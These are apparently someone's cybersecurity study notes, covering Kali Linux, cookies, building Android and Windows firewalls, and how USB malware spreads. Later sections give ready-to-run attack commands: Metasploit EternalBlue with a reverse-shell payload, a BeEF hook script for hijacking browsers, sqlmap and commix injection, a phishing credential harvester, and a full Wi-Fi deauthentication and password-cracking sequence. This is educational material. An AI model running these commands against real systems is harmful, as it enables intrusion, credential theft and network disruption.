Kali Linux is a specialized Linux distribution used for ethical hacking, penetration testing, and cybersecurity research. 

🛠️ Top OS Like Kali Linux:

• • • Parrot OS – Lightweight and privacy-focused; includes hacking + anonymity tools.

    • BackBox – Ubuntu-based, designed for penetration testing and vulnerability assessment.

    • BlackArch Linux – Arch-based distro with 2,800+ hacking tools.

    • Pentoo – Gentoo-based, focused on penetration testing and security auditing.

    • DEFT Linux – Focused on digital forensics and incident response.

    • NST (Network Security Toolkit) – Fedora-based, for network security analysis.

    • CAINE – Specifically for computer forensics and data recovery.

Each has its own strengths — but Kali and Parrot OS are the most widely used for offensive security.

🍪 What Are Cookies (in the context of the web)?

Cookies are small pieces of data that websites store in your browser to remember things about you — like login status, preferences, or what’s in your shopping cart.

🧠 Think of cookies like:

A note the website gives your browser to remember you next time.

They help websites feel more "personal" and keep track of what you're doing.

🔍 What Do Cookies Store?

Your login session

Website preferences (language, theme, layout)

Items in your shopping cart

Whether you've seen a popup or ad

Sometimes: tracking info for ads or analytics

🍪 Types of Cookies:

Type Purpose

Session Cookies Temporary, deleted when you close the browser

Persistent Cookies Stored even after you close the browser (used for "Remember Me" logins)

First-party Cookies Set by the site you're visiting

Third-party Cookies Set by other sites (like advertisers) embedded in the site you're on

⚠️ Are Cookies Dangerous?

Cookies themselves are not viruses or malware.

But they can track your behavior, especially third-party cookies (used for ads and profiling).

That's why some users block or clear cookies for privacy.

🧼 How to Manage Cookies:

In browser settings:

Chrome → Settings → Privacy and Security → Cookies and site data

Firefox → Settings → Privacy & Security → Cookies

🔹 What is Modus Operandi?

Modus Operandi (MO) is a Latin term that means "method of operation."
In security and crime-related contexts, it refers to:

The specific way or pattern in which a crime or security breach is typically committed.

It includes:

• Techniques used by criminals or attackers

• Tools or technologies employed

• Behavioral patterns and target selection

• Timing, location, and method of execution
  
  

👉 Understanding the MO helps in anticipating, detecting, and preventing future threats.

🔹 Security Tips and Techniques

Here are common security tips and techniques (especially for cyber and physical security):

🔐 1. Password Safety

• Use strong, unique passwords

• Enable 2-factor authentication

• Avoid sharing passwords
  
  

🌐 2. Internet Safety

• Avoid clicking on unknown links/emails

• Use HTTPS websites only

• Clear browsing data regularly
  
  

💻 3. Device Protection

• Install antivirus and keep it updated

• Use firewalls

• Lock screen when not in use
  
  

🧑‍💼 4. Social Engineering Awareness

• Don’t share sensitive info over calls/emails

• Verify identity before responding

• Be cautious of phishing or impersonation
  
  

📁 5. Data Security

• Backup data regularly

• Encrypt sensitive files

• Follow access control policies
  
  

🏢 6. Physical Security

• Use ID cards, biometric access

• Monitor CCTV regularly

• Keep entry-exit logs for visitors
  
  

🛑 7. Incident Reporting

• Report suspicious activity immediately

• Maintain a security incident register
  
  

🧠 8. Awareness and Training

• Conduct regular awareness sessions

• Simulated drills (cyber/physical threats)

• Promote a "security-first" culture

🔧 How to Create Your Own Firewall (Android Focus)

✅ Option 1: Build Your Own Firewall App for Android (No Root)

You can build a firewall app using Android’s VPNService API, which lets you create a local VPN tunnel and filter traffic.

🛠️ Tools Needed:

• Android Studio

• Java or Kotlin

• Basic understanding of Android app development

• Permissions: BIND_VPN_SERVICE, INTERNET, etc.
  
  

🔁 What Your App Will Do:

• Intercept traffic using VPNService

• Filter or block traffic based on app, IP, port, or domain

• Allow or deny connections

• Optionally log traffic
  
  

📚 Guide (Steps in Short):

• Create a VPNService subclass

• Override establish() to set up tunnel

• Use ParcelFileDescriptor to capture traffic

• Parse packets (optional: use a library like Pcap4J)

• Add filtering rules based on user input

• Forward allowed packets to destination

• Block or drop others

✅ What is a Rooted Device? (In Simple Terms)

A rooted Android device means:

You have full control over your phone — like the "admin" or "owner" of everything inside it.

🧑‍🌾 Farmer Example:

Imagine your phone is a tractor.

• Normally, you’re only allowed to drive it and change a few settings.

• But you can’t open the engine, change deep parts, or install powerful tools.
  
  

When you root it, it’s like getting the master key to open up everything:

• You can modify the engine

• Remove built-in parts

• Add new, custom parts

• Do things the company usually doesn’t allow
  
  

🔓 Root = Unlocking full access

• It removes the restrictions put by the manufacturer (like Samsung, Vivo, etc.)

  • • You can now:

      • Install special apps

      • Change system files

      • Control the whole device like a hacker or developer
        
        

⚠️ But Be Careful:

• Rooting can void warranty

• You might break the phone if something goes wrong

• Can make your device less secure if not managed properly
  
  

So in short:

Rooting = Getting full control of your phone, like becoming the “boss” of it.

🧑‍💻 Option 2: Create Firewall Rules on a Rooted Device (Linux-like iptables)

If your Android is rooted:

• Use iptables (Linux command-line firewall system)

• Write your own firewall rules (e.g., block a certain IP, port, or app UID)

• Automate with shell scripts or Termux
  
  

Example:

iptables -A OUTPUT -p tcp --dport 80 -j DROP

🌐 Option 3: Create a Firewall at Network Level (Router / Raspberry Pi)

• Set up a Raspberry Pi or old PC with Linux

• Install iptables, UFW, or pfSense

• Connect all devices through that router/firewall

• Control/block traffic network-wide
  
  

⚠️ Things to Keep in Mind:

• Custom firewalls need deep packet inspection if you're doing advanced filtering

• VPN-based firewalls won’t work simultaneously with commercial VPNs

• Be mindful of battery and performance issues if running real-time traffic filters
  
  

✅ Summary:

Platform = Way to Build Firewall

Android (no root) = Use VPNService API (Java/Kotlin app)

Android (rooted) = Use iptables

Laptop/Desktop = Use UFW, Windows Firewall, or write custom scripts

Network-wide = Set up a Raspberry Pi or pfSense box

📱 Android Firewall App (No Root Needed)

🔧 Tools Needed:

• Android Studio

• Java or Kotlin

• API Level 21+

🧩 Step-by-Step Code (Basic VPNService-based Firewall)

📝 1. AndroidManifest.xml

xml

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.example.firewall">

    <application

        android:allowBackup="true"

        android:label="Firewall"

        android:supportsRtl="true"

        android:theme="@style/Theme.AppCompat.Light.DarkActionBar">

        <service

            android:name=".MyVPNService"

            android:permission="android.permission.BIND_VPN_SERVICE">

            <intent-filter>

                <action android:name="android.net.VpnService" />

            </intent-filter>

        </service>

    </application>

</manifest>

🧠 2. Create MyVPNService.java

import android.net.VpnService;

import android.os.ParcelFileDescriptor;

import java.io.IOException;

public class MyVPNService extends VpnService {

    private ParcelFileDescriptor vpnInterface;

    @Override

    public void onCreate() {

        super.onCreate();

        startVPN();

    }

    private void startVPN() {

        Builder builder = new Builder();

        builder.setSession("MyFirewallVPN")

                .addAddress("10.0.0.2", 32)  // Virtual IP

                .addRoute("0.0.0.0", 0);     // Route all traffic

        try {

            vpnInterface = builder.establish();

        } catch (Exception e) {

            e.printStackTrace();

        }

    }

    @Override

    public void onDestroy() {

        super.onDestroy();

        try {

            if (vpnInterface != null) {

                vpnInterface.close();

                vpnInterface = null;

            }

        } catch (IOException e) {

            e.printStackTrace();

        }

    }

}

🧩 3. Add Permissions in AndroidManifest.xml

xml

<uses-permission android:name="android.permission.INTERNET" />

🎛️ 4. Trigger the VPN Service from MainActivity

import android.content.Intent;

import android.net.VpnService;

import android.os.Bundle;

import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

    private static final int VPN_REQUEST_CODE = 0x0F;

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        Intent intent = VpnService.prepare(this);

        if (intent != null) {

            startActivityForResult(intent, VPN_REQUEST_CODE);

        } else {

            onActivityResult(VPN_REQUEST_CODE, RESULT_OK, null);

        }

    }

    @Override

    protected void onActivityResult(int requestCode, int resultCode, Intent data) {

        if (requestCode == VPN_REQUEST_CODE && resultCode == RESULT_OK) {

            Intent intent = new Intent(this, MyVPNService.class);

            startService(intent);

        }

        super.onActivityResult(requestCode, resultCode, data);

    }

}

✅ What This Code Does:

• Creates a dummy VPN interface

• Routes all traffic through it

• Doesn’t filter yet — you can build filtering logic using packet inspection libraries (like Pcap4J, jNetPcap)
  
  

⚠️ Next Steps (Advanced):

• Add traffic filtering by IP/domain

• Use selectors to allow/block traffic per app

• Log and display data usage per app

• Build a UI with toggles for each app
  
  

👣 Your Goal:

To create a basic Android firewall app that uses code.

🧰 What You Need First:

✅ 1. A Computer (Windows or macOS)

That’s where you’ll write the app.

✅ 2. Android Studio

Android Studio is like the kitchen where you’ll "cook" your app (code, run, test it).

🔽 Step 1: Install Android Studio

• • • Go to: https://developer.android.com/studio

    • Download & install it (it's free).

    • Open it — it might take a few minutes to set up.

🆕 Step 2: Create a New Android Project

• Click "New Project"

• Choose "Empty Activity"

• Name your app: e.g., MyFirewallApp

• Language: Choose Java

• Click Finish
  
  

Now Android Studio will create a basic app project for you. Think of it like the empty pot where you'll add your ingredients (your code).

📄 Step 3: Where to Paste the Codes I Gave You

You will see folders like:

app >

    java >

        com.example.myfirewallapp >

            MainActivity.java ← (Paste MainActivity code here)

• Double-click MainActivity.java

• Replace everything inside it with the code I gave for MainActivity
  
  

Next:

Right-click the same folder (com.example...) → New → Java Class → Name it MyVPNService

• Paste the code for MyVPNService.java here.
  
  

Now:

📜 Open AndroidManifest.xml

You’ll find it here:

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app > manifests > AndroidManifest.xml

• Add the permissions and service code given there
  
  

▶️ Step 4: Run the App on a Phone or Emulator

✅ You can either:

• Connect your Android phone via USB (Enable "Developer Options" and "USB Debugging")

• Or use the built-in Emulator in Android Studio

Then click the green Play button (▶️) to launch your app.

🧪 Step 5: Test the VPN

• The app will ask for permission to create a VPN connection

• Tap "Allow"

• Now your app starts routing traffic — your firewall foundation is ready!

✅ Where to Install Android Studio?

👉 Install it on your laptop or PC.
💻 NOT on your Android phone.

🔽 Step-by-step Installation on Laptop:

• Go to this link on your laptop:
  👉 https://developer.android.com/studio

• Click the big “Download Android Studio” button

• Agree to terms → Download starts

• Once the .exe (for Windows) or .dmg (for Mac) file is downloaded:

  • • • Open the file

      • Click Next → Next → Install

• After installation, open Android Studio
  
  

🎯 What Android Studio Does:

• It gives you the full tools to create Android apps

• You write and test your firewall app on your laptop

• Then you install it (run it) on your Android phone
  
  

🧩 Summary:

Question - Answer

Where to install Android Studio? - 💻 On your laptop

Can I install it on Android phone? - ❌ No, not possible

What do I do after installation? - ✅ Create your app and test it on phone

🟢 What is F-Droid?

F-Droid is like a Play Store — but for free and open-source apps only.

✅ It's a place where you can download Android apps that are:

• • • Free of cost

    • Open-source (you can see and check the code)

    • No ads, no tracking, no spying

    • Often useful for techies, developers, ethical hackers, and privacy-conscious users
      
      

🛠️ Where did F-Droid come from?

• It was started by the F-Droid community in 2010

• It is maintained by independent developers and privacy advocates

• It’s not controlled by Google, which makes it very different from Play Store
  
  

🏪 What’s inside F-Droid?

Apps like:

• 🔐 Privacy tools (NetGuard, TrackerControl)

• 🧑‍💻 Developer tools (Termux, packet sniffers)

• 📱 Root tools (AFWall+, OpenVPN, firewall apps)

• 🧘‍♀️ Minimal apps (lightweight browsers, note apps, etc.)
  
  

✅ Why Use F-Droid?

Feature = F-Droid = Play Store

Ads - ❌ No ads  - ✅ Many apps have ads

Trackers - ❌ No spying - ⚠️ Some apps track you

Source Code - ✅ Open-source - ❌ Not available

Root Tools - ✅ Many available - ❌ Often banned

Free Apps  -  Totally free - ⚠️ Some paid, some free

🔽 How to Install F-Droid?

⚠️ You won’t find F-Droid on the Play Store (Google doesn't allow it!)

✅ Steps:

• On your phone, open any browser

• Go to 👉 https://f-droid.org

• Download the F-Droid APK

• When asked, allow “Install from unknown sources”

• Install and open F-Droid

• Browse and install apps like Termux, AFWall+, etc.
  
  

🧠 Analogy:

Think of F-Droid as a local organic market — everything is clean, open, and safe — compared to a big supermarket (Play Store) that sells both healthy and junk stuff with ads everywhere.

🧩 What is iptables?

👉 iptables is a firewall command-line tool used in Linux systems (including Android, because Android is built on Linux!).

It helps you:

• Block or allow internet for apps

• Control incoming and outgoing network traffic

• Protect the system by setting rules
  
  

💡 Think of it like this:

iptables is like a digital traffic policeman.
You write rules like:

• "Let Chrome go online" ✅

• "Block WhatsApp from internet" ❌

• "Stop all outgoing traffic" 🚫
  
  

🛠️ Where do you run iptables?

✅ You run it on your Android phone

(but only if it is rooted ❗)

Not on your laptop.

📱 Tools to run iptables on phone:

🔹 1. Termux App (from F-Droid, not Play Store)

• • • A terminal app (like command prompt for Android)

    • You type commands in it

    • Works like a mini Linux on your phone
      
      

🔹 2. Root Terminal App

• Any terminal that allows su (superuser) command

• You need to grant root permission when asked

🧪 Example Step-by-Step (on rooted phone):

• Install Termux from https://f-droid.org/

• Open Termux

• Type this command to get root access:
  
  

su

(Your phone will ask: "Grant Root Access?" → tap ALLOW)

• • • Now you can use iptables commands like:
      
      

iptables -P OUTPUT DROP  # block all outgoing traffic

or:

iptables -A OUTPUT -m owner --uid-owner 10123 -j ACCEPT

(Allow traffic only for an app with UID 10123)

⚠️ Remember:

• You are doing powerful system-level stuff, so be cautious

• These commands only work if your device is rooted

• After rebooting, rules go away unless you save them or use a firewall app like AFWall+
  
  

🔁 Optional Easy Way:

If you're not comfortable typing commands, install AFWall+ and just check/uncheck boxes to allow or block apps.

💬 TL;DR:

Question - Answer

What is iptables? - A Linux firewall command system

Where to run it? - On rooted Android phone using apps like Termux

Can I run it on laptop? - ❌ No, not for controlling your phone's internet

Is there an easy way? - ✅ Yes! Use AFWall+ app instead

✅ What You Can Do on a Rooted Device (Firewall-wise):

🔥 Option 1: Use iptables to Create Your Own Firewall Rules

This is like writing your own firewall script — the same as a Linux computer.

🧰 What You Need:

• A rooted Android device

• A terminal app (like Termux or a Root-enabled Terminal Emulator)

• Superuser (root) access

• BusyBox (optional but helpful)
  
  

🧾 Example iptables Commands:

🔒 Block all outgoing internet:

su

iptables -P OUTPUT DROP

🌐 Allow only browser (say Chrome) to use internet:

First, find Chrome's UID:

dumpsys package com.android.chrome | grep userId=

Assume it shows UID: 10123

Now allow only Chrome:

iptables -A OUTPUT -m owner --uid-owner 10123 -j ACCEPT

🛑 Block WhatsApp from internet:

Find UID of WhatsApp:

bash

dumpsys package com.whatsapp | grep userId=

Then:

iptables -A OUTPUT -m owner --uid-owner <WhatsApp_UID> -j DROP

⚠️ Important:

• • • These rules reset after reboot. To make them permanent, use init.d scripts, firewall apps for rooted phones, or write a boot script.

    • Be careful — blocking the wrong UID might break important apps.
      
      

🔁 Alternative: Use a Firewall App for Rooted Devices

🔹 AFWall+ (Android Firewall Plus)

• Free app from Play Store or F-Droid

• Uses iptables in background

• Easy UI to block internet per app (Wi-Fi/data)
  
  

💡 Tip: After installing AFWall+, grant root access, then simply toggle apps to block/allow internet.

📌 Summary:

Option - Tool - Skill Level

Write your own firewall - iptables in Termux -  - Intermediate–Advanced

Easy UI method - AFWall+ = Beginner–Friendly

Check existing firewall: - 

In windows powershell type the following command 

Get-NetFirewallProfile

and you get to see: - Domain - for office network, Private-house wifi network, Public-airport-cafe network 

🧰 What does “Create Own Firewall” mean in Windows?

It means you’ll:

• Control which apps can access internet

• Block incoming or outgoing connections

• Set custom rules to protect your computer from hackers or leaks
  
  

✅ 3 Ways to Create Your Own Firewall in Windows:

🔹 Method 1: Use Built-in Windows Defender Firewall

Windows already comes with a powerful firewall, and you can create custom rules in it — no need to install anything.

👣 Steps to Create Custom Firewall Rules:

• Search "Windows Defender Firewall" in Start Menu

• Click “Advanced Settings” on the left side

• This opens Windows Firewall with Advanced Security

Now, you’ll see:

• Inbound Rules – For connections coming into your computer

• Outbound Rules – For connections leaving your computer
  
  

🚫 Example: Block an App from Using Internet

Let’s say you want to block Chrome:

1. Click Outbound Rules > New Rule (on right side)

2. Select Program > Next

3. Browse and select the app you want to block (e.g., chrome.exe)

4. Choose Block the connection > Next

5. Select all profiles (Domain, Private, Public) > Next

6. Name it “Block Chrome” > Finish ✅

🎉 Done! Chrome can no longer access the internet.

🔹 Method 2: Use PowerShell to Create Firewall Rules

If you love command-line:

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New-NetFirewallRule -DisplayName "Block Chrome" -Direction Outbound -Program "C:\Program Files\Google\Chrome\Application\chrome.exe" -Action Block

This does the same as above — but faster.

🔹 Method 3: Build Your Own Firewall App (Advanced)

If you’re a developer (or learning):

• Use languages like Python, C#, or C++
  
  

• Use Windows Filtering Platform (WFP) APIs
  
  

• Or use WinDivert – a Windows packet capture/divert library
  
  

But this is very advanced and not needed unless you're building a full custom product.

🧠 Summary:

Goal = Method

Block internet for apps = Use Windows Firewall Advanced Settings

Do it with commands = Use PowerShell

Build full custom firewall = Use C#/C++ + WinDivert or WFP (Advanced)

🔹 Method 1: PowerShell Script (No Software Needed)

Use this if you want to quickly block or allow apps from accessing the internet.

🧾 Code 1: Block an App from Accessing Internet

🔐 Example: Block Chrome from using the internet

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New-NetFirewallRule -DisplayName "Block Chrome Outbound" `

    -Direction Outbound `

    -Program "C:\Program Files\Google\Chrome\Application\chrome.exe" `

    -Action Block

🧾 Code 2: Allow Specific App Only (Block All Others)

You can first block everything and then allow specific apps:

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# Block all outbound traffic (⚠️ Be careful!)

Set-NetFirewallProfile -Profile Domain,Public,Private -DefaultOutboundAction Block

# Allow Notepad

New-NetFirewallRule -DisplayName "Allow Notepad" `

    -Direction Outbound `

    -Program "C:\Windows\System32\notepad.exe" `

    -Action Allow

✅ To undo, run:

powershell

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Set-NetFirewallProfile -Profile Domain,Public,Private -DefaultOutboundAction Allow

📌 How to Use This:

1. Press Start → search “PowerShell” → Run as Administrator
   
   

2. Paste the above code and hit Enter
   
   

3. Done! You’ve created a firewall rule 🔐
   
   

🔹 Method 2: Python Script (Advanced Custom Firewall)

You can also capture and analyze packets using Python + pydivert (a wrapper for WinDivert).

📦 Install pydivert:

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pip install pydivert

🐍 Python Example: Block Access to Specific Website (e.g., Facebook)

python

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import pydivert

with pydivert.WinDivert("outbound and ip.DstAddr == 157.240.0.0/16") as w:  # Facebook IP Range

    for packet in w:

        print("Blocked:", packet.dst_addr)

        # Drop the packet = block it (do not re-inject)

This will block outbound traffic to Facebook's IP range.

⚠️ Run as Administrator (script needs admin rights to work).

🧠 Summary:

Task = Tool = Code Type

Block an app (e.g., Chrome) = PowerShell = ✅ Simple & Recommended

Block websites/IPs = Python + pydivert = 🔧 Advanced

Custom rule-based blocking = C#/C++ with WinDivert/WFP = 👨‍💻 Expert Level

🧩 🔌 What Happens When You Plug an Unknown USB Pen Drive into a Windows PC

✅ STEP 1: Electrical Detection (Hardware Level)

• You insert the USB pen drive into the port.

• The motherboard's USB controller sends a signal to the Windows kernel: “Hey, something new is connected!”
  
  

✅ STEP 2: Device Enumeration

• Windows checks what kind of device is connected using Plug and Play (PnP).

• It reads the device’s Vendor ID, Product ID, and Device Class.

• If drivers are already available, it installs automatically (usually silently in seconds).

✅ STEP 3: File System Mounting

• Windows sees the USB as a storage device (Disk Drive class).

• It checks the file system (FAT32, exFAT, NTFS, etc.)

• If it’s valid, it assigns a drive letter (like E:\ or F:)

🔍 This is when you hear the "ding" sound, and the USB becomes visible.

✅ STEP 4: AutoPlay / AutoRun

• Windows looks for a file called autorun.inf on the drive.

• This file can tell Windows: “Open this file or app automatically.”
  
  

⚠️ AutoRun is disabled by default in modern Windows (for security), but older PCs or misconfigured systems may still allow it. That’s how viruses can launch automatically.

✅ STEP 5: File Explorer Shows the Drive

• The explorer.exe process (your file browser) updates the drive list.

• You now see the USB in "This PC" and can click to open it.

🦠 Now If a Virus Is Present…

Here’s how a virus might sneak in:

⚠️ STEP 6: AutoRun Attack (If Enabled)

• If AutoRun is on, a file like malware.exe is automatically executed.

• This could be a keylogger, ransomware, worm, or backdoor.

Example autorun.inf content:

[autorun]

open=malware.exe

⚠️ STEP 7: Manual Trigger (If You Click Something)

• Even if AutoRun is off, you might double-click an infected file (e.g., PDF, EXE, DOC with macros).
  
  

• Boom 💥 — virus activates.
  
  

📍 Where Does the Virus Go After Entry?

🧬 STEP 8: Virus Copies Itself (Persistence)

It may store itself in:

1. Startup Folder
   
   

   • C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
     
     

2. Registry (auto start entry)
   
   

   • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
     
     

3. System Folders (hidden)
   
   

   • C:\Windows\System32
     
     

   • C:\Users\<Username>\AppData\Local\Temp
     
     

4. Scheduled Tasks
   
   

   • Creates hidden tasks to auto-run on boot
     
     

👁️‍🗨️ How It Hides Itself:

• Renames itself like “svchost.exe” to look like a system file
  
  

• Hides with attributes: attrib +h +s +r malware.exe
  
  

• Runs in background silently
  
  

🛑 How to Detect It:

• Use Task Manager or Process Explorer
  
  

• Use tools like Autoruns (by Sysinternals)
  
  

• Scan with good antivirus or Windows Defender Offline Scan
  
  

🔒 Summary Flow:

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Plug USB → Detected by USB controller → Windows loads driver → Mounts file system → AutoRun checked → File Explorer shows drive → Virus may auto-run or be clicked → Virus copies itself to system folders/startup → Tries to hide and run at boot

🛡️ Pro Tips to Stay Safe:

• Disable AutoRun (usually already disabled in Win 10/11)
  
  

• Never run unknown EXE files from a USB
  
  

• Always scan USB with antivirus first
  
  

• Keep “show hidden files” ON to spot suspicious content

🔢 So, how many commands are there in Kali Linux (for hacking tools)?

Kali Linux includes:

• 600+ pre-installed tools
  
  

• Each tool typically has multiple commands, flags, or usage options
  
  

✅ On average, each tool can have 10–50+ commands or options.

➡️ So, roughly:

600 tools × average 20 commands = 12,000+ possible hacking-related commands

This doesn’t even count the standard Linux commands, which are also used for scripting, networking, and automation.

🧠 Example:

• nmap – 30+ common command variations
  
  

• metasploit (msfconsole) – 1000s of modules (each a command)
  
  

• aircrack-ng – 10–15 core commands
  
  

• sqlmap – dozens of flags for different attack vectors

💣 1. Metasploit Framework

A big toolkit for finding and exploiting vulnerabilities in a target system.

🧾 Code:

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msfconsole

👉 What it does:
Starts the Metasploit console — the main interface where you type all commands.

🧾 Sample Exploit:

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use exploit/windows/smb/ms17_010_eternalblue

👉 What it does:
Loads an exploit that targets a Windows vulnerability called EternalBlue, used in real attacks like WannaCry.

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set RHOSTS <target_ip>

👉 What it does:
Sets the IP address of the victim machine you want to attack.

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set LHOST <your_ip>

👉 What it does:
Sets your own IP address — so when the victim is hacked, it knows where to send access back (reverse shell).

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set PAYLOAD windows/meterpreter/reverse_tcp

👉 What it does:
Tells Metasploit what kind of "weapon" to use. In this case: a reverse shell, which gives you control of the victim’s machine.

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run

👉 What it does:
Launches the attack. If successful, you’ll get access to the victim’s computer.

🌐 2. BeEF (Browser Exploitation Framework)

Used to hack/control someone’s browser when they click a malicious link.

🧾 Code:

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beef-xss

👉 What it does:
Starts the BeEF server. You use this to trap browsers that visit your fake web page.

🧾 Hook Example:

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<script src="http://your_ip:3000/hook.js"></script>

👉 What it does:
When a victim opens a page with this code, their browser gets hooked — meaning, you can now control their browser from your BeEF panel (e.g., pop-ups, steal cookies, redirect, etc.)

📡 3. RouterSploit

Like Metasploit, but made to hack routers and IoT devices (CCTV, smart TVs, etc.)

🧾 Code:

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rsf

👉 What it does:
Starts RouterSploit's console.

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use scanners/autopwn

👉 What it does:
Loads the module that automatically scans routers for known weaknesses.

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set target <router_ip>

run

👉 What it does:
Targets the router at that IP and checks if it’s vulnerable to attacks.

🛢️ 4. sqlmap

Tool to hack into databases behind websites using SQL injection.

🧾 Code:

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sqlmap -u "http://target.com/product.php?id=1" --dbs

👉 What it does:

• -u: URL of the vulnerable page
  
  

• --dbs: Tells sqlmap to list the databases if the site is vulnerable
  
  

If it works, you can read data like usernames, passwords, etc.

💉 5. Commix

Used for command injection attacks — when a web app executes system commands without permission.

🧾 Code:

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commix --url="http://target.com/index.php?name=test" --data="name=test"

👉 What it does:
Tests if you can inject system commands through the "name" field (like running ls, whoami, etc.) on the target's server.

🎭 6. SET (Social Engineering Toolkit)

Used to trick people (phishing) to give up passwords, or click fake websites.

🧾 Code:

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setoolkit

👉 What it does:
Starts the Social Engineering Toolkit, an interactive menu tool.

Then you'd follow this path:

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1) Social-Engineering Attacks  

2) Website Attack Vectors  

3) Credential Harvester Attack Method

It creates a fake login page (like Facebook), and when the victim enters their password — you get it.

🔍 7. SearchSploit

Finds public exploit code from the Exploit Database (offline).

🧾 Code:

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searchsploit apache struts

👉 What it does:
Searches for exploits related to Apache Struts (a common web app framework).

🧾 To copy an exploit:

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searchsploit -m linux/local/37292.c

👉 What it does:
Copies that exploit code into your working folder so you can compile and use it.

✅ In Summary (Plain Language):

Tool = What It Does

Metasploit = Launches real system attacks (full control)

BeEF = Controls browser (like remote puppet)

RouterSploit = Hacks routers, cameras, IoT

sqlmap = Steals data from website databases

Commix = Runs system commands through web inputs

SET = Creates fake websites to trick users

SearchSploit = Lets you search and download real exploit codes

🚨 Important Disclaimer:

Use Wi-Fi exploitation tools only on networks you own or have permission to test. Unauthorized use is illegal and unethical.

🧰 Tools for Wi-Fi Exploitation in Kali Linux:

• airmon-ng

• airodump-ng

• aireplay-ng

• aircrack-ng

• wash and reaver (for WPS attacks)

• wifite (automated Wi-Fi attack tool)

• Fluxion (social engineering-based Wi-Fi phishing)

🔧 STEP-BY-STEP WIFI EXPLOITATION CODES

✅ Step 1: Put Wi-Fi Adapter in Monitor Mode

sudo airmon-ng start wlan0

👉 What it does: Enables monitor mode on your Wi-Fi card so it can "listen" to all traffic nearby (not just your network).

⚠️ Replace wlan0 with your adapter name if different (iwconfig to check)

✅ Step 2: Scan Nearby Wi-Fi Networks

sudo airodump-ng wlan0mon

👉 What it does: Shows nearby networks, BSSIDs (MAC addresses), channels, and client devices.

Note down the BSSID and channel of your target Wi-Fi network.

✅ Step 3: Target a Specific Network

sudo airodump-ng --bssid <router_bssid> -c <channel> -w capture wlan0mon

👉 What it does:

• Targets a specific router

• Captures handshake packets (needed to crack password)

• Saves data to a file (capture.cap)

✅ Step 4: Deauthenticate a Client to Capture Handshake

sudo aireplay-ng --deauth 10 -a <router_bssid> -c <client_mac> wlan0mon

👉 What it does:
Sends fake disconnect signals to the user — when they reconnect, you capture the handshake (Wi-Fi password exchange).

✅ Step 5: Crack the Wi-Fi Password

sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

👉 What it does:
Uses a wordlist (like rockyou.txt) to try different passwords and crack the captured handshake file.

🔄 BONUS: Use Wifite for Automated Attacks

sudo wifite

👉 What it does:
Scans and attacks Wi-Fi networks automatically using tools above (airodump, aircrack, etc.)

🧠 BONUS TOOL: Reaver (For WPS Attacks)

If the router has WPS enabled, try this:

sudo wash -i wlan0mon

👉 Shows WPS-enabled routers.

sudo reaver -i wlan0mon -b <bssid> -c <channel> -vv

👉 Tries to brute-force the WPS PIN and get the Wi-Fi password.

📦 Summary of Commands:

Tool =  Command = What It Does

airmon-ng = airmon-ng start wlan0 = Enable monitor mode

airodump-ng = airodump-ng wlan0mon = Scan Wi-Fi networks

airodump-ng (target) = airodump-ng --bssid BSSID -c CH -w capture wlan0mon = Capture handshake

aireplay-ng = aireplay-ng --deauth 10 -a BSSID -c CLIENT wlan0mon = Force reconnect

aircrack-ng = aircrack-ng capture.cap -w rockyou.txt = Crack password

wifite = wifite = Auto-attack Wi-Fi

reaver = reaver -i wlan0mon -b BSSID -vv = Brute-force WPS

sudo apt update && sudo apt upgrade -y 

The command sudo apt update && sudo apt upgrade -y is commonly used in Debian-based Linux distributions like Kali Linux to update and upgrade the system. Here's the breakdown:

1. sudo (Super User Do):

• Purpose: Runs the command with superuser (root) privileges because installing, updating, or modifying system files requires administrative rights.

• Why Needed: Normal users don’t have permission to make system-wide changes. sudo temporarily grants that power.

2. apt (Advanced Package Tool):

• • • • • Purpose: This is the package manager used in Debian-based systems to handle software installation, updates, and removal.

        • Think of it as: The "app store" for Linux, but controlled via the terminal.

3. update:

• Purpose: This command tells apt to fetch the latest information about available software packages from online repositories (servers).

• What It Does:

  • • • • • Downloads updated lists of available software and their versions.

          • Does NOT install anything yet—just updates the list.

• Analogy: It’s like refreshing the page to see if new apps are available in an app store.

4. && (Logical AND Operator):

• • • • • • • Purpose: Allows you to chain commands together.

          • How It Works:

            • • • Runs the command on the left (sudo apt update).

                • Only if the first command succeeds, it runs the command on the right (sudo apt upgrade -y).

          • Why Useful: Ensures you don’t upgrade outdated package lists. It prevents unnecessary errors.

5. upgrade:

• Purpose: Installs the latest versions of all the packages currently installed on your system based on the updated package list from apt update.

• What It Does:

  • 1. 1. 1. 1. 1. 1. • Downloads and installs newer versions of software if available.

                      • Keeps your system secure with the latest patches.

• Key Point: It does NOT remove old packages—it only upgrades existing ones.

6. -y (Yes to All Prompts):

• Purpose: Automatically answers "yes" to all prompts that usually ask for confirmation during the upgrade.

• Why Useful: Makes the process unattended, especially helpful when automating updates.

  1. 1. 1. • Without -y: The system would stop and ask:
             "Do you want to continue? [Y/n]"

Complete Workflow:

• • • • • • sudo apt update → Refreshes the list of software.

          • && → Ensures the next step only runs if the update succeeded.

          • sudo apt upgrade -y → Installs all available updates automatically without asking for confirmation.

🔐 Cybersecurity Tips & Techniques for Experts

🧠 1. Defense-in-Depth (Layered Security)

• 1. 1. • Apply security at every layer: network, endpoint, application, and data.

        • Implement network segmentation, micro-segmentation, and least privilege access.
          
          

🕵️ 2. Zero Trust Architecture (ZTA)

• • • • • Never trust, always verify—even within internal networks.

        • Continuously validate user identity, device health, and access policies.

        • Use tools like Microsoft Defender for Identity, Okta, or ZScaler ZTA solutions.
          
          

🧱 3. Endpoint Detection and Response (EDR)

• • • • • Deploy EDR solutions like CrowdStrike Falcon, SentinelOne, or Microsoft Defender ATP.

        • Use real-time analytics and threat hunting features.

        • Integrate with SIEM for centralized monitoring.
          
          

🧰 4. Threat Intelligence Integration

• Subscribe to threat intelligence feeds (MISP, AlienVault OTX, IBM X-Force).

• Use tools to correlate indicators of compromise (IOCs) with internal logs.

• Automate IOC-based blocking using SOAR (Security Orchestration, Automation, and Response).
  
  

🔒 5. Secure Configuration & Hardening

• Use CIS Benchmarks and STIGs to harden systems.

• Disable unnecessary ports, services, default accounts.

• Monitor configuration drift using tools like Ansible, Chef, or Puppet.
  
  

🧬 6. Application Security (AppSec)

